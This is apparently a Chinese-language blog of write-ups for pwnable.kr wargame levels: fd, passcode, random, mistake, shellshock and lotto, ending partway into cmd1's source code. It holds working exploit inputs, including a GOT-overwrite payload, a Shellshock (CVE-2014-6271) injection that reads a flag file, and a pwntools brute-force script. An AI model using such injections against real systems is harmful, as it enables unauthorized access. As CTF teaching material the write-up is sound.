Contents

Pwnable.kr

pwnable.kr writeup

文件描述符(file descricptor)

维基百科:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。

习惯上 标准输入(stdin)为0, 标准输出(stdout)为1, 标准错误(stderr)为2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
//fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    int len = 0;
    len = read(fd, buf, 32);
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;
}

得到flag的关键在于如何通过第二个if语句, 也就是如何让buf=LETMEMIN 可以看到read从fd中读入32个字节为buf赋值, 如果我们想控制buf的值就要控制fd中的内容, 那么只要让fd=0, 再向标准输入(从命令行直接输入)中输入LETMEWIN就可以了. 注意到fd在此处赋值:

1
int fd = atoi( argv[1] ) - 0x1234;

其中atoi是将字符串转化为整数的函数

1
int main(int argc, char* argv[], char* envp[]){

可以看到argv[]是main函数的一个参数, 而main函数的参数都是程序运行时在命令行输入的, argc代表输入参数的个数(第一个参数是程序路径), argv则存储着指向这些参数的指针. envp存储指向环境变量的指针, 此处没用到.

例如运行程序fd

1
./fd 4660

此时argc值为2, 而argv[0] = “./fd”, argv[1] = “4660”

atoi不能转化16进制数, 所以我们手动转换0x1234, 它的十进制表示是4660 这样我们就可以让fd = 0, 程序等待从stdin中读取字符 我们再向命令行中输入LETMEWIN, 即可得到flag

这题没太懂GOT PLT那里的具体原理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

  

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n"); 
        welcome();
        login();
        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

容易注意到login函数中这句

1
scanf("%d", passcode1);

本应该为

1
scanf("%d", &passcode1);

也就是说scanf本该向passcode1所在地址写入内容, 却变成了将passcode1中存入的数作为地址, 向其写入内容. 这给了我们可乘之机, 如果能够覆盖passcode1的内容, 就可以向这个地址写入内容. 那么如何修改passcode1呢? 自然我们要看在其之前执行的welcome函数, 它读入了100个字符. 用IDA反编译一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int login()
{
  int v1; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  printf("enter passcode1 : ");
  __isoc99_scanf("%d", v1);
  fflush(stdin);
  printf("enter passcode2 : ");
  __isoc99_scanf("%d", v2);
  puts("checking...");
  if ( v1 != 338150 || v2 != 13371337 )
  {
    puts("Login Failed!");
    exit(0);
  }
  puts("Login OK!");
  return system("/bin/cat flag");
}

unsigned int welcome()
{
  char v1[100]; // [esp+18h] [ebp-70h] BYREF
  unsigned int v2; // [esp+7Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("enter you name : ");
  __isoc99_scanf("%100s", v1);
  printf("Welcome %s!\n", v1);
  return __readgsdword(0x14u) ^ v2;
}

由于welcome和login紧挨着先后执行, 那么代表栈底的ebp应该没有改变. login中的v1即passcode1在ebp-10h的位置, welcome中的v1即name在ebp-70h的位置, 70h-10h = 60h = 96. 也就是他们位置相差96字节, 而我们可以输入100个字节, 这多出的4个字节就正好可以覆盖passcode1. 如果把passcode1覆盖成printf函数的GOT,再在scanf向passcode1内的地址, 即我们覆盖的printf的GOT写入时输入system的GOT, 就可以将即将执行的printf变成system("/bin/cat flag")这个指令了. 在IDA里找到他们:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
.plt:08048420
.plt:08048420 ; =============== S U B R O U T I N E =======================================
.plt:08048420
.plt:08048420 ; Attributes: thunk
.plt:08048420
.plt:08048420 ; int printf(const char *format, ...)
.plt:08048420 _printf         proc near               ; CODE XREF: login+E↓p
.plt:08048420                                         ; login+3C↓p ...
.plt:08048420
.plt:08048420 format          = dword ptr  4
.plt:08048420
.plt:08048420                 jmp     ds:off_804A000
.plt:08048420 _printf         endp
.plt:08048420
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
.text:08048562 ; ---------------------------------------------------------------------------
.text:08048563                 align 4
.text:08048564
.text:08048564 ; =============== S U B R O U T I N E =======================================
.text:08048564
.text:08048564 ; Attributes: bp-based frame
.text:08048564
.text:08048564                 public login
.text:08048564 login           proc near               ; CODE XREF: main+1A↓p
.text:08048564
.text:08048564 var_10          = dword ptr -10h
.text:08048564 var_C           = dword ptr -0Ch
.text:08048564
.text:08048564 ; __unwind {
.text:08048564                 push    ebp
.text:08048565                 mov     ebp, esp
.text:08048567                 sub     esp, 28h
.text:0804856A                 mov     eax, offset format ; "enter passcode1 : "
.text:0804856F                 mov     [esp], eax      ; format
.text:08048572                 call    _printf
.text:08048577                 mov     eax, offset aD  ; "%d"
.text:0804857C                 mov     edx, [ebp+var_10]
.text:0804857F                 mov     [esp+4], edx
.text:08048583                 mov     [esp], eax
.text:08048586                 call    ___isoc99_scanf
.text:0804858B                 mov     eax, ds:stdin@@GLIBC_2_0
.text:08048590                 mov     [esp], eax      ; stream
.text:08048593                 call    _fflush
.text:08048598                 mov     eax, offset aEnterPasscode2 ; "enter passcode2 : "
.text:0804859D                 mov     [esp], eax      ; format
.text:080485A0                 call    _printf
.text:080485A5                 mov     eax, offset aD  ; "%d"
.text:080485AA                 mov     edx, [ebp+var_C]
.text:080485AD                 mov     [esp+4], edx
.text:080485B1                 mov     [esp], eax
.text:080485B4                 call    ___isoc99_scanf
.text:080485B9                 mov     dword ptr [esp], offset s ; "checking..."
.text:080485C0                 call    _puts
.text:080485C5                 cmp     [ebp+var_10], 528E6h
.text:080485CC                 jnz     short loc_80485F1
.text:080485CE                 cmp     [ebp+var_C], 0CC07C9h
.text:080485D5                 jnz     short loc_80485F1
.text:080485D7                 mov     dword ptr [esp], offset aLoginOk ; "Login OK!"
.text:080485DE                 call    _puts
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA                 call    _system
.text:080485EF                 leave
.text:080485F0                 retn

0x080485e3=134514147

1
python -c 'print "A"*96+"\x00\xa0\x04\x08"+"134514147\n"' | ./passcode
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>


int main(){
        unsigned int random;
        random = rand();        // random value!
        unsigned int key=0;
        scanf("%d", &key); 
        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }
        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;

}

注意到rand()没有用srand()设定种子, 那么种子默认为1, 生成的随机数应该是一个固定的序列. 我们在本地编译, 用gdb调试该程序, 得到random的值为1804289383. 而key^random的值应该是0xdeadbeef, 由于^的逆运算是它本身, deadbeef^random=key. 算出key = -1255736440, 运行random程序输入key得到flag

1
2
3
4
random@pwnable:~$ ./random
-1255736440
Good!
Mommy, I thought libc random is unpredictable...
1
2
3
4
5
6
We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event
Thanks to dhmonkey
hint : operator priority
ssh mistake@pwnable.kr -p2222 (pw:guest)

提示是操作符的优先级

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <fcntl.h>
#define PW_LEN 10
#define XORKEY 1 
void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }
        printf("do not bruteforce...\n");
        sleep(time(0)%20);
        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }
        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);
        // xor your input
        xor(pw_buf2, 10);
        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }
        close(fd);
        return 0;
}

观察这一行

1
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

乍一看没什么不对, 当返回的文件描述符小于0时报错 但是<是比=优先级高的, 所以事实上首先open()会返回3(0, 1, 2是什么见第1题fd), 然后执行3<0这个表达式, 它的值是0. 最后执行fd=0, 由第一题fd我们学到了fd = 0是stdin. 所以事实上password是我们输入的. 然后我们再来看xor这个函数, 它将一个字符串的前n个字符与1异或. 题目中给出的是前10个字符. 所以我们只需要先输入10个字符作为password, 再输入这些字符异或1得到的字符串. 由于字符'0’的ascii码为110000, 字符'1’的ascii码为110001, 恰好'0’^1 = ‘1’. 所以只需进行如下操作

1
2
3
4
5
6
./mistake
do not bruteforce...
0000000000
1111111111input password : 
Password OK
Mommy, the operator priority always confuses me :(

这是一个set-uid程序:

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

这是一个别名为shellshock的漏洞, CVE-2014-6271 原理大概是bash读取环境变量时会调用后面的函数, 在调用bash时会直接触发

1
2
3
export foo='{:;}; echo test'
bash
test

测试方法:

1
2
3
4
shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
shellshock@pwnable:~$ env x='() { :;}; echo vulnerable' ./bash -c "echo this is a test"
vulnerable

证明环境变量中的bash没有此漏洞, 而当前目录的bash有此漏洞 攻击该程序: 如果real uid和effective uid相同时, 环境变量在程序内有效, 就可以利用这个漏洞. 而本题代码中

1
2
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());

确保了这一点. 所以可以这样攻击:

1
2
3
4
shellshock@ubuntu:~$ env x='() { :;}; /bin/cat flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault
shellshock@ubuntu:~$

lotto.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);
        int r;
        r = read(0, submit, 6);
        printf("Lotto Start!\n");
        //sleep(1);

  

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }

        unsigned char lotto[6];

        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }

        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score

        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }
        // win!

        if(match == 6){
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }
}

  

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

  

int main(int argc, char* argv[]){
        // menu
        unsigned int menu;
        while(1){
		        printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");
                scanf("%d", &menu);
                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

看这段:

1
2
3
4
5
6
7
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

原本应该是lotto和submit按顺序一一对应, 但是这段代码写成了对于lotto中的每一位, 只要submit中有x个与它相同就会使match+x. 这大大降低了枚举难度. 我们只要认死一个1~45中的字符, 比如’#’, 一直输入 “######”, 只要随机出的lotto中有一个#, 就可以让match+6, 从而得到flag. 不会写代码识别flag, 所以我只能人工盯着屏幕看了

1
2
3
4
5
6
7
8
from pwn import *
s = ssh(host='pwnable.kr',user='lotto', port=2222, password='guest')
p = s.process('./lotto')
while 1:
    p.sendline("1")
    p.sendline("######")
    print(p.recvline())
# s.interactive()

可以看到得到flag还是很快的, 看到flag就可以ctrl+c结束脚本了

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
[+] Starting remote process bytearray(b'./lotto') on pwnable.kr: pid 281220
/home/juicymio/mycode/lotto.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("1")
/home/juicymio/mycode/lotto.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline("######")
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'  // 第一次出现flag在这
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'sorry mom... I FORGOT to check duplicate numbers... :(\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
b'- Select Menu -\n'
b'1. Play Lotto\n'
b'2. Help\n'
b'3. Exit\n'
b'Submit your 6 lotto bytes : Lotto Start!\n'
b'bad luck...\n'
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>
  
int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}

int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
